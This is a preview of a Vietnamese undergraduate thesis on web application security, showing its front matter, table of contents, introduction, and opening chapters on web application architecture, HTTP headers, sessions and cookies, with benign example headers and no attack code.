Luận văn tốt nghiệp - Đề tài: “Nghiên cứu một số vấn đề về bảo mật ứng dụng cho Web trên Internet -Trường Đại học Khoa học Tự nhiên Tp. Hồ Chí Minh

169 trang phuongnguyen 3430

Download

Bạn đang xem 20 trang mẫu của tài liệu "Luận văn tốt nghiệp - Đề tài: “Nghiên cứu một số vấn đề về bảo mật ứng dụng cho Web trên Internet -Trường Đại học Khoa học Tự nhiên Tp. Hồ Chí Minh", để tải tài liệu gốc về máy bạn click vào nút DOWNLOAD ở trên

Tài liệu đính kèm:

luan_van_tot_nghiep_de_tai_nghien_cuu_mot_so_van_de_ve_bao_m.pdf

Nội dung text: Luận văn tốt nghiệp - Đề tài: “Nghiên cứu một số vấn đề về bảo mật ứng dụng cho Web trên Internet -Trường Đại học Khoa học Tự nhiên Tp. Hồ Chí Minh

Khoa CNTT BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM KHOA CÔNG NGHỆ THÔNG TIN BỘ MÔN MẠNG MÁY TÍNH DE LUẬN VĂN TỐT NGHIỆP ĐỀ TÀI: NGHIÊN CỨU MỘT SỐ VẤN ĐỀ VỀ BẢO MẬT ỨNG DỤNG WEB TRÊN INTERNET GVHD: Th.S. MAI VĂN CƯỜNG SVTH : NGUYỄN DUY THĂNG - 9912074 NGUYỄN MINH THU - 9912156 KHÓA HỌC: 1999-2003
Khoa CNTT Lời cảm ơn Sau gần 6 tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật tấn công và bảo mật ứng dụng Web trên Internet” đã phần nào hoàn thành. Ngoài sự cố gắng hết mình của bản thân, chúng em đã nhận được sự khích lệ rất nhiều từ phía nhà trường, thầy cô, gia đình và bạn bè. Trước hết chúng con xin cám ơn ba mẹ đã luôn động viên và tạo mọi điều kiện tốt để chúng con học tập và hoàn thành luận văn tốt nghiệp này. Chúng em xin cám ơn thầy cô trường Đại Học Khoa Học Tự Nhiên đã truyền đạt những kiến thức quý báu cho chúng em trong suốt quá trình học tập. Đặc biệt, chúng em xin bày tỏ lòng chân thành sâu sắc đến thầy Mai Văn Cường, người đã tận tình hướng dẫn và giúp đỡ chúng em trong quá trình làm luận văn tốt nghiệp. Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ chúng tôi trong quá trình học tập và hoàn thành tốt luận văn tốt nghiệp này.
Khoa CNTT Lời nhận xét
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet MỤC LỤC GIỚI THIỆU 7 Tổ chức của luận văn 9 PHẦN THỨ NHẤT: CƠ SỞ LÍ THUYẾT . 11 Chương 1: Giới thệu Ứng dụng Web 12 I. KHÁI NIỆM ỨNG DỤNG WEB 13 II. MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB 16 Chương 2: Các khái niệm, thuật ngữ liên quan 18 I. HACKER 19 II. HTTP HEADER 19 III. SESSION . 21 IV. COOKIE 22 V. PROXY . 25 Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Ứng dụng Web 26 I. KIỂM SOÁT TRUY CẬP WEB 27 I.1. Thâm nhập hệ thống qua cửa sau 27 II. CHIẾM HỮU PHIÊN LÀM VIỆC 27 II.1. Ấn định phiên làm việc 27 II.2. Đánh cắp phiên làm việc . 27 III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP LỆ . 27 III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt 28 III.2. Tràn bộ đệm . 28 III.3. Mã hóa URL 28 III.4. Kí tự Meta 28 III.5. Vượt qua đường dẫn 29 III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân 29 III.7. Thêm câu lệnh hệ thống . 29
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.8. Chèn câu truy vấn SQL . 30 III.9. Ngôn ngữ phía máy chủ 30 III.10. Kí tự rỗng . 30 III.11. Thao tác trên tham số truyền 30 IV. ĐỂ LỘ THÔNG TIN . 31 V. TỪ CHỐI DỊCH VỤ . 31 PHẦN THỨ HAI: CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB 33 Chương 4: Thao tác trên tham số truyền 34 I. THAO TÁC TRÊN URL 35 I.1. Khái niệm . 35 I.2. Một số biện pháp khắc phục . 36 II. THAO TÁC TRÊN BIẾN ẨN FORM . 36 II.1. Khái niệm 36 II.2. Một số biện pháp khắc phục 38 III. THAO TÁC TRÊN COOKIE 39 III.1. Khái niệm . 39 III.2. Một số biện pháp khắc phục 40 IV. THAO TÁC TRONG HTTP HEADER . 41 IV.1. Khái niệm 41 IV.2. Một số biện pháp khắc phục 42 Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Side Scripting) . 43 I. KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS) 44 II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG 46 III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS 50 IV. TẤN CÔNG XSS BẰNG FLASH . 51 V. CÁCH PHÒNG CHỐNG 54 Chương 6: Chèn câu truy vấn SQL (SQL Injection) . 56 I. KHÁI NIỆM SQL INJECTION 57 II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU 57
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III. CÁC CÁCH TẤN CÔNG . 58 III.1. Kĩ thuật tấn công SQL Injection 58 III.2. Tấn công dưa vào câu lệnh SELECT 60 III.3. Tấn công dưa vào câu lệnh HAVING 62 III.4. Tấn công dưa vào câu lệnh kết hợp UNION 62 III.5. Tấn công dưa vào lệnh INSERT 69 III.6. Tấn công dưa vào STORED PROCEDURE 70 III.7. Nâng cao 70 III.7.1. Chuỗi kí tự không có dấu nháy đơn . 70 III.7.2. Tấn công 2 tầng 71 III.7.3. Tránh sự kiểm soát 74 III.7.4. Dùng Extended Stored Procedure 75 III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server 75 III.7.4.2. Dùng Extended Stored Procedure tự tạo . 76 III.7.4.3. Nhập tập tin văn bản vào bảng 77 IV. CÁCH PHÒNG CHỐNG 77 IV.1. Kiểm tra dữ liệu 78 IV.2. Khoá chặt SQL Server (SQL Server Lockdown) 81 Chương 7: Chiếm hữu phiên làm việc (Session Management) 83 I. TỔNG QUAN VỀ SESSION ID 84 II. ẤN ĐỊNH PHIÊN LÀM VIỆC 85 II.1. Tấn công Session ID trên tham số URL 88 II.2. Tấn công Session ID trong biến ẩn form 89 II.3. Tấn công Session ID trong cookie . 89 II.4. Cách phòng chống . 91 III. ĐÁNH CẮP PHIÊN LÀM VIỆC 92 III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID) 93 III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID) 93 III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc 94
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.4. Cách phòng chống . 94 III.5. Sự khác biệt giữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên làm việc (session fixation) 94 Chương 8: Tràn bộ đệm (Buffer Overflow) 97 I. KHÁI NIỆM . 98 II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ . 99 II.1. Stack 100 II.2. Push và Pop 101 II.3. Cách làm việc của hàm 102 II.4. Shell code 104 III. MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB . 106 IV. CÁC CÁCH PHÒNG CHỐNG . 106 Chương 9: Từ chối dịch vụ (DoS) . 108 I. KHÁI NIỆM 109 II. NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS . 109 III. CÁC KĨ THUẬT TẤN CÔNG 110 III.1. Khái niệmvề Tcp bắt tay ba chiều 110 III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống 112 III.3. Tấn công vào băng thông 113 III.3.1. Kiểu tấn công thứ 1 113 III.3.2. Kiểu tấn công thứ 2 113 III.4. Kiểu tấn công vào tài nguyên hệ thống . 117 IV. BIỆN PHÁP PHÒNG CHỐNG . 117 Chương 10: Một số kĩ thuật tấn công khác 119 I. MÃ HÓA URL (URL Encoding) 120 I.1. Khái niệm 120 I.2. Một số biện pháp phòng chống 121 II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN 121 II.1. Khái niệm 121
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet II.2. Một số biện pháp phòng chống 122 III. TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG 123 III.1. Khái niệm 123 III.2. Một số biện pháp phòng chống . 123 IV. NGÔN NGỮ PHÍA TRÌNH CHỦ . 123 IV.1. Khái niệm 123 IV.2. Cách tấn công 125 IV.3. Biện pháp phòng chống 125 Chương 11: Tổng kết quá trình tấn công của Hacker 127 I. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU 128 II. KHẢO SÁT ỨNG DỤNG WEB 131 III. TẤN CÔNG 132 Chương 12: Tổng kết các biện pháp phòng chống 134 I. VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG 135 II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB . 137 III. VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB 139 PHẦN THỨ BA: CHƯƠNG TRÌNH WEB CHECKER 140 Chương 13: Chương trình Web Checker 141 I. ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER 142 I.1. Tổng quan 142 I.2. Yêu cầu 142 I.2.1. Yêu cầu chức năng . 142 I.2.1. Yêu cầu phi chức năng 143 II. KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER 143 II.1. Kiến trúc chương trình Web Checker 143 II.2. Giao tiếp giữa chương trình với trình chủ Web . 144 III. CÀI ĐẶT 145 III.1. Ngôn ngữ cài đặt 145 III.2. Phương pháp cài đặt . 145
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet III.2.1. Sử dụng mô hình giao diện dạng Dialog . 145 III.2.2. Sử dụng ActiveX Control (Microsoft Web Browser) . 145 III.2.3. Sử dụng giao diện lập trình Window Socket 2 146 III.2.4. Một số lớp và hàm chính được cài đặt trong chương trình . 146 III.3. Mô tả chương trình và cách sử dụng 151 III.3.1. Màn hình chương trình 151 III.3.2. Cách sử dụng 152 IV. ĐÁNH GIÁ CHƯƠNG TRÌNH 153 IV.1. Những vấn đề đạt được 153 IV.2. Những vấn đề hạn chế 153 KẾT LUẬN 155 I. NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC . 156 II. HƯỚNG PHÁT TRIỂN . 157 PHỤ LỤC 158
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet GIỚI THIỆU Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc đùa bỡn với người khác. Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet. Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp cứu máy tính"), số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn 200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm 1994, và năm 2001 là 5315 vụ. Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, các máy tính của tất cả các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan nhà nước, các tổ chức quân sự, nhà băng Một số vụ tấn công có quy mô khổng lồ (có tới 100.000 máy tính bị tấn công). Hơn nữa, những con số này chỉ là phần nổi của tảng băng. Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do, trong đó -Trang 7-
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet có thể kể đến nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không hay biết những cuộc tấn công đang nhằm vào hệ thống của họ. Điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất cứ ai với một trình duyệt Web cũng có thể lấy tài khoản của người dùng, thậm chí cả người quản trị. Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị các hệ thống mạng đòi hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm về hệ thống mạng chắc chắn, do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác. Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán tên người sử dụng-mật khẩu (UserID/password) hoặc sử dụng một số lỗi của các chương trình và hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài trojan hay worm để kiểm soát hay điều khiển máy tính vì thế, nhu cầu bảo vệ thông tin trên Internet là cần thiết nhằm mục đích bảovệ dữ liệu, bảo vệ thông tin người dùng và bảo vệ hệ thống. Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an toàn của hệ thống mạng và hệ điều hành. Để bảo vệ cho hệ thống, phương pháp thường được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của CSI/FBI : 78% nơi bị hại có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo cáo của CSI/FBI Computer Crime và Security Survey thì tổng số thiệt hại do những ứng dụng Web bị tấn công từ năm 1997 đến năm 2000 là 626 triệu đôla Mỹ. -Trang 8-
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếutố tốc độ ) nên dẫn đến nhiều khuyết điểm mới phát sinh. Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng. Luận văn được thực hịên với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong các ứng dụng web (cùng với chương trình minh họa) để qua đó đề xuất các phương án sửa chữa. Song song đó, luận văn còn thực hiện một chương trình “Tự động phát hiện lỗ hổng trên ứng dụng Web” giúp ích cho những nhà lập trình Web ít kinh nghiệm tránh những sai sót trong quá trình tạo các ứng dụng. Tổ chức của luận văn Luận văn gồm 13 chương chia thành 3 phần: Phần thứ nhất: CƠ SỞ LÍ THUYẾT Phần này gồm có 3 chương: + Chương 1 : Giới thiệuvề ứng dụng Web + Chương 2 : Một số khái niệm, thuật ngữ liên quan. + Chương 3: Sơ lược các kĩ thuật tấn công ứng dụng Web Phần thứ hai:CÁC KĨ THUẬT TẤN CÔNG VÀ BIỆN PHÁP PHÒNG CHỐNG Phần này gồm có 9 chương từ chương 4 đến chương 12 trong đó7 chương đầu bàn luận về các kĩ thuật tấn công, cuối mỗi chương là biện pháp phòng chống cho từng kĩ thuật. Chương 11 nói về quá trình tấn công củahacker vàđến chương 12 là nội dung các biện pháp phòng chống chung nhất. -Trang 9-
Khoa CNTT Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet Phần thứ ba : CHƯƠNG TRÌNH “WEB CHECKER” Là gồm chương cuối trình bày, giải thích về chương trình Kết thúc luận văn là phần kết luận, tóm lược lại những vấn đề đã trình bày và một số hướng phát triển trong tương lai và danh mục các tài liệu tham khảo. -Trang 10-
Khoa CNTT Phần I: Cơ sở lý thuyết PHẦN THỨ NHẤT CƠ SỞ LÍ THUYẾT -Trang 11-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web Chương 1 GIỚITHIỆU ỨNG DỤNG WEB Nội dung: I. Khái niệm vềứng dụng Web II. Mô tả cách hoạt động của một ứng dụng Web -Trang 12-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web CHƯƠNG 1: GIỚI THIỆU ỨNG DỤNG WEB DE Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web và đề ra cách phòng chống. Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau. I. KHÁI NIỆM ỨNG DỤNG WEB Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác. Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng vai trò đại lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh. Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common Gateway Interface) được chạy trên các trình chủ Web và có thể kết nối vào các cơ sở dữ liệu đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng Java (hay các ngôn ngữ tương tự) và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu. Một ứng dụng web thường có kiến trúc gồm: -Trang 13-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web Hình 1.I-1. Kiến trúc một ứng dụng Web • Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn có thể có thêm các ứng dụng tạo bố cục cho trang web. • Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường được cài đặt bằng các kỹ thuật lập trình như CGI, Java, .NET , PHP hay ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic, Apache, IIS • Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý các file dữ liệu và quyền sử dụng. Mô hình hóa hoạt động của một ứng dụng Web: -Trang 14-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web Hình 1.I-2. Mô hình hoạt động của một ứng dụng Web Trong đó: • Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, Netscap Navigator • Trình chủ: Apache, IIS, . • Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access . Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường đượcsử dụng là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy xuất đến mạng kia hay không. Người ta thường dùng firewall vào mục đích: • Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài. -Trang 15-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web • Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong. • Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập. Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử dụng II.MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các lệnh cơ bản GET, POST của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++ hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP theo yêu cầu của trình khách. Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến và từ đó trả về cho trình khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần: • Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và WebServer. • Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì. Theo mô hình ở hình 1.I-2, với firewall, luồng thông tin giữa trình chủ và trình khách là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể -Trang 16-
Khoa CNTT Chương 1: Giới thiệu Ứng dụng Web lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không liên quan khác. -Trang 17-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan Chương 2 CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN Nội dung: I. Hacker II. HTTP Header III. Phiên làm việc (Session) IV. Cookie V. Proxy -Trang 18-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan CHƯƠNG 2: CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN DE I. HACKER Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho hệ thống, nhưng hacker lạilà những người am hiểu về hệ điều hành, hệ quản trị dữ liệu, các ngôn ngữ lập trình Họ sử dụng kiến thức của mình trong việc tìm tòi và khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ dừng lạiviệc phát hiện và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình, họ được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng, những người này bị xem như là BlackHat (Hacker nón đen). Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ sử dụng “hacker” thay cho “kẻ tấn công”. II.HTTP HEADER HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường, một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số -Trang 19-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì chỉ đuợc dùng riêng trong từng loại. Ví dụ : • Header yêu cầu: GET /tintuc/homnay.asp HTTP/1.1 Accept: */* Accept-Language: en-us Connection: Keep-Alive Host: localhost Referer: User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Accept-Encoding: gzip, deflate o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP (HTTP/1.1) o Tiếp theo là các tham số.Chẳng hạn như: Accept-Language: Cho biết ngôn ngữ dùng trong trang web. Host: Cho biết địa chỉ của máy chủ. Referer: Cho biết địa chỉ của trang web tham chiếu tới. o Header của HTTP request sẽ kết thúc bằng một dòng trống. • Header trả lời: HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 13 Jul 2000 05:46:53 GMT -Trang 20-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan Content-Length: 2291 Content-Type: text/html Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ; path=/ Cache-control: private o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng (HTTP/1.1), mã trạng thái (200) và trạng thái (OK). o Tiếp theo là các tham số. o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần thân của HTTP response. Danh sách tham số của HTTP header được trình bày trong phụ lụcA III. SESSION HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó khăn cho mộtsố ứng dụng Web, bởi vì trình chủ không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệmphiên làm việc (Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho ngườidùng khi họ xem trang web trên trình chủ. Để duy trì phiên làm việc thì sessionID thường được lưuvào : -Trang 21-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan • Biến trên URL • Biến ẩn form • Cookie Phiên làm việcchỉ tồn tại trong một khoảng thời gian cho phép, thời gian này được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống. IV. COOKIE Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ và trình duyệt của người dùng. Các cookie được lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang Web và những vùng mà họ đi qua trong trang. Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen cookie được trình duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người dùng có chấp nhận chuyện lưu trữ đó hay không. Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào Yahoo Messenger! ) mà người dùng không phải làm lại thao tác đăng nhập hay phảicung cấplại các thông tin khác. Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent do đó ta sẽ có 4 kiểu cookie là: -Trang 22-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan • Persistent và Secure • Persistent và Non-Secure • Non-Persistent và Secure • Non-Persistent và Non-Secure Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một khoản thời gian xác định. Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web. Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL). Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thực chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật. Các thành phầncủa một cookie gồm: Domain Flag Path Secure Expiration Name Value www.redhat. FALSE / FALSE 1154029490 Apache 64.3.40.151.16 com 018996349247 480 • Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là www.redhat.com) -Trang 23-
Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan • Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không. • Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa chỉ thuộcmiềntrang web tạo cookie. • Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không. • Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng. • Name: Tên biến (trong trường hợp này là Apache) • Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền Ví dụ chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie: Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/"; domain="www.redhat.com"; path_spec; expires="2006-07-27 19:39:15Z"; version=0 Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.txt -Trang 24-
